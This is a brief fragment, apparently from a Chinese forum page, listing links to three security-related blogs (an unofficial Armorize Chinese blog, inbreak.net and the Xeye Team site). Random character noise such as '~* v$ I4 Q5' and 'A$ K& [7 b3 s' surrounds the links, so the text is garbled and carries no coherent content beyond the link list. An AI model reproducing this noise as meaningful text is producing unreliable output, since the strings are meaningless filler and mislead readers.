+ I7 U: ~* v$ I4 Q5 W8 m- w. }9 ~% chttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/
  A$ K& [7 b3 s